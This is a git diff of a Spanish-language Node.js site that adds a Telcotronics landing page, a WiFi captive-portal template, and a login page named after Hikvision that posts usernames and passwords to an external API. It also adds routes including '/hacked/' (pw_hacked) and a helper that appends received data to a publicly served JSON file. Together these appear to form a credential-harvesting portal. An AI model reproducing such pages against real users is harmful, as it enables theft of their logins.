|
||||||
|
|
||||||
|
.carousel img {
|
||||||
|
width: 100%;
|
||||||
|
display: block;
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.carousel-inner {
|
||||||
|
display: flex;
|
||||||
|
transition: transform 0.5s ease-in-out;
|
||||||
|
}
|
||||||
|
|
||||||
|
.carousel-buttons {
|
||||||
|
position: absolute;
|
||||||
|
top: 50%;
|
||||||
|
width: 100%;
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
transform: translateY(-50%);
|
||||||
|
}
|
||||||
|
|
||||||
|
.carousel-buttons button {
|
||||||
|
background: rgba(0, 0, 0, 0.5);
|
||||||
|
color: #fff;
|
||||||
|
border: none;
|
||||||
|
padding: 0.5rem 1rem;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.carousel-buttons button:hover {
|
||||||
|
background: rgba(0, 0, 0, 0.8);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Services Section */
|
||||||
|
.services {
|
||||||
|
padding: 3rem 0;
|
||||||
|
background: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.services h2 {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 2rem;
|
||||||
|
font-size: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.service-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
|
||||||
|
gap: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.service-item {
|
||||||
|
background: #f1f1f1;
|
||||||
|
padding: 1.5rem;
|
||||||
|
text-align: center;
|
||||||
|
border-radius: 5px;
|
||||||
|
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
|
||||||
|
transition: transform 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.service-item:hover {
|
||||||
|
transform: scale(1.05);
|
||||||
|
}
|
||||||
|
|
||||||
|
.service-item h3 {
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Products Section */
|
||||||
|
.products {
|
||||||
|
padding: 3rem 0;
|
||||||
|
background: #eef5ff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.products h2 {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 2rem;
|
||||||
|
font-size: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.product-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
|
||||||
|
gap: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.product-item {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.product-item img {
|
||||||
|
width: 100%;
|
||||||
|
max-width: 200px;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.product-item h3 {
|
||||||
|
font-size: 1.2rem;
|
||||||
|
color: #004080;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Footer */
|
||||||
|
.footer {
|
||||||
|
background: #004080;
|
||||||
|
color: #fff;
|
||||||
|
padding: 1rem 0;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer a {
|
||||||
|
color: #ffaa00;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer a:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
BIN
src/public/img/portal/favicon.ico
Normal file
BIN
src/public/img/portal/favicon.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 9.4 KiB |
BIN
src/public/img/portal/login.jpg
Normal file
BIN
src/public/img/portal/login.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
BIN
src/public/img/portal/logo.png
Normal file
BIN
src/public/img/portal/logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 KiB |
202
src/public/plantilla_html/portal_cautivo.html
Normal file
202
src/public/plantilla_html/portal_cautivo.html
Normal file
@@ -0,0 +1,202 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="es">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Portal WiFi - Tema Oscuro</title>
|
||||||
|
<style>
|
||||||
|
/* General Styles */
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: 'Arial', sans-serif;
|
||||||
|
background: linear-gradient(135deg, #121212, #1e1e1e);
|
||||||
|
color: #e0e0e0;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.wifi-portal {
|
||||||
|
width: 100%;
|
||||||
|
max-width: 400px;
|
||||||
|
background: #1e1e1e;
|
||||||
|
border-radius: 15px;
|
||||||
|
padding: 20px;
|
||||||
|
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.8);
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Title and Text */
|
||||||
|
.wifi-portal h1 {
|
||||||
|
font-size: 1.8em;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
font-weight: 700;
|
||||||
|
color: #00C6FF;
|
||||||
|
}
|
||||||
|
|
||||||
|
.wifi-portal p {
|
||||||
|
font-size: 1em;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
color: #e0e0e0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Buttons */
|
||||||
|
.btn {
|
||||||
|
display: block;
|
||||||
|
width: 100%;
|
||||||
|
background: #0078FF;
|
||||||
|
border: none;
|
||||||
|
padding: 12px;
|
||||||
|
font-size: 1em;
|
||||||
|
color: #fff;
|
||||||
|
border-radius: 5px;
|
||||||
|
cursor: pointer;
|
||||||
|
font-weight: 500;
|
||||||
|
margin-bottom: 15px;
|
||||||
|
transition: background 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn:hover {
|
||||||
|
background: #005BB5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-google {
|
||||||
|
background: #DB4437;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-google:hover {
|
||||||
|
background: #B8362D;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-facebook {
|
||||||
|
background: #4267B2;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-facebook:hover {
|
||||||
|
background: #365899;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-otg {
|
||||||
|
background: #4CAF50;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-otg:hover {
|
||||||
|
background: #388E3C;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-login {
|
||||||
|
display: none; /* Oculto inicialmente */
|
||||||
|
background: #FF9800;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-login:hover {
|
||||||
|
background: #E68900;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Hidden Textbox */
|
||||||
|
.textbox-container {
|
||||||
|
display: none;
|
||||||
|
margin-top: 20px;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.textbox-container label {
|
||||||
|
font-size: 0.9em;
|
||||||
|
color: #cfcfcf;
|
||||||
|
margin-bottom: 5px;
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.textbox-container input {
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
font-size: 1em;
|
||||||
|
border: 1px solid #333;
|
||||||
|
border-radius: 5px;
|
||||||
|
background: #2a2a2a;
|
||||||
|
color: #fff;
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.textbox-container input:focus {
|
||||||
|
border-color: #00C6FF;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Footer Styles */
|
||||||
|
.footer-text {
|
||||||
|
margin-top: 20px;
|
||||||
|
font-size: 0.85em;
|
||||||
|
color: #cfcfcf;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer-text a {
|
||||||
|
color: #00C6FF;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer-text a:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Responsive Design */
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.wifi-portal {
|
||||||
|
padding: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.wifi-portal h1 {
|
||||||
|
font-size: 1.5em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn {
|
||||||
|
font-size: 0.9em;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="wifi-portal">
|
||||||
|
<h1>Bienvenido al Portal WiFi</h1>
|
||||||
|
<p>Conéctate a nuestra red para disfrutar del servicio.</p>
|
||||||
|
<button class="btn btn-google">Iniciar sesión con Google</button>
|
||||||
|
<button class="btn btn-facebook">Iniciar sesión con Facebook</button>
|
||||||
|
<button class="btn btn-otg" onclick="showTextbox()">Conexión rápida (OTG)</button>
|
||||||
|
|
||||||
|
<!-- Hidden Textbox and Login Button -->
|
||||||
|
<div class="textbox-container" id="otgTextbox">
|
||||||
|
<label for="otgCode">Ingresa tu código OTG:</label>
|
||||||
|
<input type="text" id="otgCode" placeholder="Ejemplo: 123456" />
|
||||||
|
<button class="btn btn-login" id="loginButton" onclick="submitOTG()">Login</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p class="footer-text">¿Problemas? <a href="#">Contáctanos</a></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// Función para mostrar el textbox y el botón de login
|
||||||
|
function showTextbox() {
|
||||||
|
const textboxContainer = document.getElementById('otgTextbox');
|
||||||
|
const loginButton = document.getElementById('loginButton');
|
||||||
|
textboxContainer.style.display = 'block'; // Mostrar el contenedor del textbox
|
||||||
|
loginButton.style.display = 'block'; // Mostrar el botón de login
|
||||||
|
}
|
||||||
|
|
||||||
|
// Función para manejar el login (puedes personalizarlo según tus necesidades)
|
||||||
|
function submitOTG() {
|
||||||
|
const otgCode = document.getElementById('otgCode').value;
|
||||||
|
if (otgCode.trim() === '') {
|
||||||
|
alert('Por favor, ingresa un código OTG.');
|
||||||
|
} else {
|
||||||
|
alert(`Código OTG ingresado: ${otgCode}`);
|
||||||
|
// Aquí puedes enviar el código al servidor o procesarlo
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
203
src/public/plantilla_html/portal_hikvision.html
Normal file
203
src/public/plantilla_html/portal_hikvision.html
Normal file
@@ -0,0 +1,203 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="es">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Login</title>
|
||||||
|
<style>
|
||||||
|
* {
|
||||||
|
box-sizing: border-box;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
font-family: Arial, sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background-image: url('../img/portal/login.jpg'); /* Imagen de fondo */
|
||||||
|
background-size: cover;
|
||||||
|
background-position: center;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.language-selector {
|
||||||
|
position: absolute;
|
||||||
|
top: 10px;
|
||||||
|
right: 20px;
|
||||||
|
background-color: rgba(255, 255, 255, 0.8);
|
||||||
|
padding: 10px;
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-container {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-box {
|
||||||
|
background-color: #fff;
|
||||||
|
padding: 30px;
|
||||||
|
border-radius: 10px;
|
||||||
|
box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
|
||||||
|
width: 350px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Estilo del logo */
|
||||||
|
.logo {
|
||||||
|
width: 150px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
margin-bottom: 20px;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-container {
|
||||||
|
margin-bottom: 15px;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
label {
|
||||||
|
font-size: 14px;
|
||||||
|
color: #555;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="text"],
|
||||||
|
input[type="password"] {
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
margin-top: 5px;
|
||||||
|
border: 1px solid #ccc;
|
||||||
|
border-radius: 5px;
|
||||||
|
font-size: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
button {
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
background-color: #e74c3c;
|
||||||
|
border: none;
|
||||||
|
color: white;
|
||||||
|
font-size: 16px;
|
||||||
|
border-radius: 5px;
|
||||||
|
cursor: pointer;
|
||||||
|
margin-top: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
button:hover {
|
||||||
|
background-color: #c0392b;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forgot-password {
|
||||||
|
display: block;
|
||||||
|
margin-top: 15px;
|
||||||
|
font-size: 14px;
|
||||||
|
color: #3498db;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forgot-password:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<!-- Selector de idioma -->
|
||||||
|
<div class="language-selector">
|
||||||
|
<label for="language">Idioma:</label>
|
||||||
|
<select id="language" onchange="changeLanguage()">
|
||||||
|
<option value="es">Español</option>
|
||||||
|
<option value="en">English</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="login-container">
|
||||||
|
<div class="login-box">
|
||||||
|
<!-- Logo -->
|
||||||
|
<img src="../img/portal/logo.png" alt="Logo" class="logo">
|
||||||
|
<h2 id="title">Iniciar Sesión</h2>
|
||||||
|
<form id="loginForm">
|
||||||
|
<div class="input-container">
|
||||||
|
<label for="username" id="username-label">Nombre de usuario</label>
|
||||||
|
<input type="text" id="username" placeholder="Ingrese su nombre de usuario" required>
|
||||||
|
</div>
|
||||||
|
<div class="input-container">
|
||||||
|
<label for="password" id="password-label">Contraseña</label>
|
||||||
|
<input type="password" id="password" placeholder="Ingrese su contraseña" required>
|
||||||
|
</div>
|
||||||
|
<button type="submit" id="login-btn">Acceder</button>
|
||||||
|
</form>
|
||||||
|
<a href="#" class="forgot-password" id="forgot-password">¿Olvidó la contraseña?</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
document.getElementById("loginForm").addEventListener("submit", function(event) {
|
||||||
|
event.preventDefault(); // Evita que el formulario se envíe
|
||||||
|
|
||||||
|
// Obtener los valores del formulario
|
||||||
|
const username = document.getElementById("username").value;
|
||||||
|
const password = document.getElementById("password").value;
|
||||||
|
|
||||||
|
// Validación básica
|
||||||
|
if (username === "" || password === "") {
|
||||||
|
alert("Por favor, complete todos los campos");
|
||||||
|
} else {
|
||||||
|
// Llamar al API usando fetch
|
||||||
|
fetch('https://portal.siax-system.net/api/login', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
username: username,
|
||||||
|
password: password
|
||||||
|
})
|
||||||
|
})
|
||||||
|
.then(response => response.json())
|
||||||
|
.then(data => {
|
||||||
|
if (data.success) {
|
||||||
|
alert("Inicio de sesión exitoso");
|
||||||
|
// Aquí puedes redirigir al usuario a otra página o realizar más acciones
|
||||||
|
} else {
|
||||||
|
alert("Error: " + data.message);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(error => {
|
||||||
|
console.error("Error en la solicitud:", error);
|
||||||
|
alert("Hubo un problema con el inicio de sesión.");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Función para cambiar el idioma
|
||||||
|
function changeLanguage() {
|
||||||
|
const language = document.getElementById("language").value;
|
||||||
|
|
||||||
|
if (language === "es") {
|
||||||
|
document.getElementById("title").textContent = "Iniciar Sesión";
|
||||||
|
document.getElementById("username-label").textContent = "Nombre de usuario";
|
||||||
|
document.getElementById("username").placeholder = "Ingrese su nombre de usuario";
|
||||||
|
document.getElementById("password-label").textContent = "Contraseña";
|
||||||
|
document.getElementById("password").placeholder = "Ingrese su contraseña";
|
||||||
|
document.getElementById("login-btn").textContent = "Acceder";
|
||||||
|
document.getElementById("forgot-password").textContent = "¿Olvidó la contraseña?";
|
||||||
|
} else if (language === "en") {
|
||||||
|
document.getElementById("title").textContent = "Login";
|
||||||
|
document.getElementById("username-label").textContent = "Username";
|
||||||
|
document.getElementById("username").placeholder = "Enter your username";
|
||||||
|
document.getElementById("password-label").textContent = "Password";
|
||||||
|
document.getElementById("password").placeholder = "Enter your password";
|
||||||
|
document.getElementById("login-btn").textContent = "Login";
|
||||||
|
document.getElementById("forgot-password").textContent = "Forgot password?";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
136
src/public/plantilla_html/telcotronics.html
Normal file
136
src/public/plantilla_html/telcotronics.html
Normal file
@@ -0,0 +1,136 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="es">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<meta name="description"
|
||||||
|
content="Soluciones tecnológicas avanzadas: Facturación, domótica, telecomunicaciones y más">
|
||||||
|
<title>Telcotronics</title>
|
||||||
|
<link rel="stylesheet" href="../css/telcotronics.css">
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<header class="header">
|
||||||
|
<div class="container">
|
||||||
|
<div class="logo">Telcotronics</div>
|
||||||
|
<nav class="navigation">
|
||||||
|
<ul>
|
||||||
|
<li><a href="#inicio">Inicio</a></li>
|
||||||
|
<li><a href="#servicios">Servicios</a></li>
|
||||||
|
<li><a href="#productos">Productos</a></li>
|
||||||
|
<li><a href="#contacto">Contacto</a></li>
|
||||||
|
</ul>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<section id="inicio" class="hero">
|
||||||
|
<div class="container">
|
||||||
|
<h1>Soluciones Tecnológicas a tu Alcance</h1>
|
||||||
|
<p>Innovación en telecomunicaciones, domótica y más para hacer tu vida más sencilla y eficiente.</p>
|
||||||
|
<a href="#servicios" class="btn-primary">Descubre Más</a>
|
||||||
|
</div>
|
||||||
|
<div class="carousel">
|
||||||
|
<div class="carousel-inner">
|
||||||
|
<img src="https://telcotronics.com/imgPublicidad/1.webp" alt="Banner 1">
|
||||||
|
<img src="https://telcotronics.com/imgPublicidad/2.webp" alt="Banner 2">
|
||||||
|
<img src="https://telcotronics.com/imgPublicidad/3.webp" alt="Banner 3">
|
||||||
|
<img src="https://telcotronics.com/imgPublicidad/4.webp" alt="Banner 4">
|
||||||
|
</div>
|
||||||
|
<div class="carousel-buttons">
|
||||||
|
<button id="prev">❮</button>
|
||||||
|
<button id="next">❯</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<section id="servicios" class="services">
|
||||||
|
<div class="container">
|
||||||
|
<h2>Nuestros Servicios</h2>
|
||||||
|
<div class="service-grid">
|
||||||
|
<div class="service-item">
|
||||||
|
<h3>Facturación Electrónica</h3>
|
||||||
|
<p>Implementación de sistemas avanzados para la gestión de tu negocio.</p>
|
||||||
|
</div>
|
||||||
|
<div class="service-item">
|
||||||
|
<h3>Cámaras de Seguridad</h3>
|
||||||
|
<p>Soluciones de video vigilancia con tecnología de punta.</p>
|
||||||
|
</div>
|
||||||
|
<div class="service-item">
|
||||||
|
<h3>Domótica Inteligente</h3>
|
||||||
|
<p>Automatización de espacios para mayor comodidad y seguridad.</p>
|
||||||
|
</div>
|
||||||
|
<div class="service-item">
|
||||||
|
<h3>Redes y Telecomunicaciones</h3>
|
||||||
|
<p>Diseño e instalación de redes empresariales y domésticas.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section id="productos" class="products">
|
||||||
|
<div class="container">
|
||||||
|
<h2>Productos Destacados</h2>
|
||||||
|
<div class="product-grid">
|
||||||
|
<div class="product-item">
|
||||||
|
<img src="images/panel-solar.jpg" alt="Panel Solar">
|
||||||
|
<h3>Paneles Solares</h3>
|
||||||
|
</div>
|
||||||
|
<div class="product-item">
|
||||||
|
<img src="images/camara.jpg" alt="Cámara de Seguridad">
|
||||||
|
<h3>Cámaras IP</h3>
|
||||||
|
</div>
|
||||||
|
<div class="product-item">
|
||||||
|
<img src="images/switch.jpg" alt="Switch de Redes">
|
||||||
|
<h3>Switch de Redes</h3>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<footer class="footer">
|
||||||
|
<div class="container">
|
||||||
|
<div class="footer-info">
|
||||||
|
<p>© 2024 Telcotronics. Todos los derechos reservados.</p>
|
||||||
|
<p>Contacto: <a href="mailto:info@telcotronics.com">info@telcotronics.com</a></p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
<script>
|
||||||
|
const carouselInner = document.querySelector('.carousel-inner');
|
||||||
|
const images = document.querySelectorAll('.carousel-inner img');
|
||||||
|
const prevButton = document.getElementById('prev');
|
||||||
|
const nextButton = document.getElementById('next');
|
||||||
|
|
||||||
|
let currentIndex = 0;
|
||||||
|
|
||||||
|
function updateCarousel() {
|
||||||
|
const offset = -currentIndex * 100; // Mueve las imágenes
|
||||||
|
carouselInner.style.transform = `translateX(${offset}%)`;
|
||||||
|
}
|
||||||
|
|
||||||
|
prevButton.addEventListener('click', () => {
|
||||||
|
currentIndex = (currentIndex > 0) ? currentIndex - 1 : images.length - 1;
|
||||||
|
updateCarousel();
|
||||||
|
});
|
||||||
|
|
||||||
|
nextButton.addEventListener('click', () => {
|
||||||
|
currentIndex = (currentIndex < images.length - 1) ? currentIndex + 1 : 0;
|
||||||
|
updateCarousel();
|
||||||
|
});
|
||||||
|
|
||||||
|
// Autoplay (opcional)
|
||||||
|
setInterval(() => {
|
||||||
|
nextButton.click();
|
||||||
|
}, 5000);
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
@@ -37,4 +37,12 @@ rutas.post('/operaciones/', controlador_init.recibe_datos);//testing json reccep
|
|||||||
rutas.get('/app-tv/', controlador_init.app_tv);//app de tv y video json
|
rutas.get('/app-tv/', controlador_init.app_tv);//app de tv y video json
|
||||||
rutas.get('/tv-online/', controlador_init.app_tv);//app de tv y video json
|
rutas.get('/tv-online/', controlador_init.app_tv);//app de tv y video json
|
||||||
|
|
||||||
|
rutas.get('/portal/', controlador_init.portal);//app portal cautivo
|
||||||
|
rutas.post('/portal_log/', controlador_init.portal_log);//recibir informacion
|
||||||
|
|
||||||
|
|
||||||
|
rutas.get('/cdplus/', controlador_init.portal);//app portal cautivo
|
||||||
|
rutas.get('/hacked/', controlador_init.pw_hacked);//app portal cautivo
|
||||||
|
|
||||||
|
|
||||||
module.exports = rutas;
|
module.exports = rutas;
|
||||||
|
|||||||
49
src/scripts/File_io.js
Normal file
49
src/scripts/File_io.js
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
const fs = require('fs').promises;
|
||||||
|
const path = require('path');
|
||||||
|
const { hostname } = require('os');
|
||||||
|
async function saveToFile(newData) {
|
||||||
|
try {
|
||||||
|
// Obtener la ruta absoluta para evitar problemas con rutas relativas
|
||||||
|
const filePath = path.resolve(__dirname, '../public/files/data.json');
|
||||||
|
const dir = path.dirname(filePath);
|
||||||
|
|
||||||
|
// Asegurarse de que el directorio existe
|
||||||
|
try {
|
||||||
|
await fs.mkdir(dir, { recursive: true });
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Error al crear el directorio:', err);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Leer el archivo existente si ya está creado
|
||||||
|
let fileData = [];
|
||||||
|
try {
|
||||||
|
const data = await fs.readFile(filePath, 'utf8');
|
||||||
|
fileData = JSON.parse(data);
|
||||||
|
} catch (err) {
|
||||||
|
// Si el archivo no existe o está vacío, iniciamos con un array vacío
|
||||||
|
if (err.code !== 'ENOENT') {
|
||||||
|
throw err; // Si es otro tipo de error, lo lanzamos
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Si el archivo existe pero no es un array, convertirlo en uno
|
||||||
|
if (!Array.isArray(fileData)) {
|
||||||
|
fileData = [fileData];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Agregar el nuevo objeto
|
||||||
|
fileData.push(newData);
|
||||||
|
|
||||||
|
// Convertir a JSON
|
||||||
|
const jsonData = JSON.stringify(fileData, null, 2);
|
||||||
|
|
||||||
|
// Guardar el archivo con el nuevo array actualizado
|
||||||
|
await fs.writeFile(filePath, jsonData);
|
||||||
|
console.log('Archivo actualizado correctamente.');
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Error al escribir el archivo:', err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { saveToFile };
|
||||||
0
src/scripts/portal_cautivo.js
Normal file
0
src/scripts/portal_cautivo.js
Normal file
8
src/scripts/tokens.js
Normal file
8
src/scripts/tokens.js
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
const controlador = {};
|
||||||
|
const axios = require('axios').default;
|
||||||
|
const jwt = require('jsonwebtoken');
|
||||||
|
const config = require('../config');
|
||||||
|
const { base64encode, base64decode } = require('nodejs-base64');
|
||||||
|
const { v4: uuidv4 } = require('uuid');
|
||||||
|
|
||||||
|
module.exports = controlador;
|
||||||
@@ -1,33 +1,23 @@
|
|||||||
//Generando Documentacion
|
//Generando Documentacion
|
||||||
//const swaggerUi = require('swagger-ui-express');
|
|
||||||
//const swaggerDocument = require('./swagger.json');
|
|
||||||
global.config = require('./config.js');
|
global.config = require('./config.js');
|
||||||
var puerto = global.config.server.port;
|
var puerto = global.config.server.port;
|
||||||
//const swaggerUi = require('swagger-ui-express');
|
|
||||||
//Documentacion API
|
// Documentación API
|
||||||
const swaggerJsdoc = require('swagger-jsdoc');
|
const swaggerJsdoc = require('swagger-jsdoc');
|
||||||
const options = {
|
const options = {
|
||||||
//explore: true,
|
|
||||||
definition: {
|
definition: {
|
||||||
openapi: '3.1.0',
|
swagger: '2.0', // Usando Swagger 2.0
|
||||||
swagger:"2.0",
|
|
||||||
info: {
|
info: {
|
||||||
title: 'APP-SIGMA-WEB',
|
title: 'APP-SIGMA-WEB',
|
||||||
version: '1.0.0',
|
version: '1.0.0',
|
||||||
|
description: 'Documentación de la API para la aplicación APP-SIGMA-WEB',
|
||||||
},
|
},
|
||||||
servers:[
|
host: 'localhost:' + puerto,
|
||||||
{
|
basePath: '/',
|
||||||
url: 'http://localhost:'+puerto,
|
schemes: ['http'],
|
||||||
description: 'Development server',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
url: 'http://app.factura-e.net',
|
|
||||||
description: 'Productions server',
|
|
||||||
},
|
|
||||||
|
|
||||||
]
|
|
||||||
},
|
},
|
||||||
apis: [`${__dirname, '/rutas/*.js'}`], // files containing annotations as above
|
apis: [`${__dirname}/rutas/*.js`],
|
||||||
};
|
};
|
||||||
|
|
||||||
const swagger_config = swaggerJsdoc(options);
|
const swagger_config = swaggerJsdoc(options);
|
||||||
module.exports = { swagger_config };
|
module.exports = { swagger_config };
|
||||||
@@ -22,10 +22,11 @@
|
|||||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"/>
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"/>
|
||||||
<link rel="stylesheet" href="https://cdn.materialdesignicons.com/5.4.55/css/materialdesignicons.min.css">
|
<link rel="stylesheet" href="https://cdn.materialdesignicons.com/5.4.55/css/materialdesignicons.min.css">
|
||||||
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"type="text/css">
|
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"type="text/css">
|
||||||
<link href="https://xsystem.ddns.net/app/css/app_sigma_pedidosStilos.css" rel="stylesheet" type="text/css">
|
|
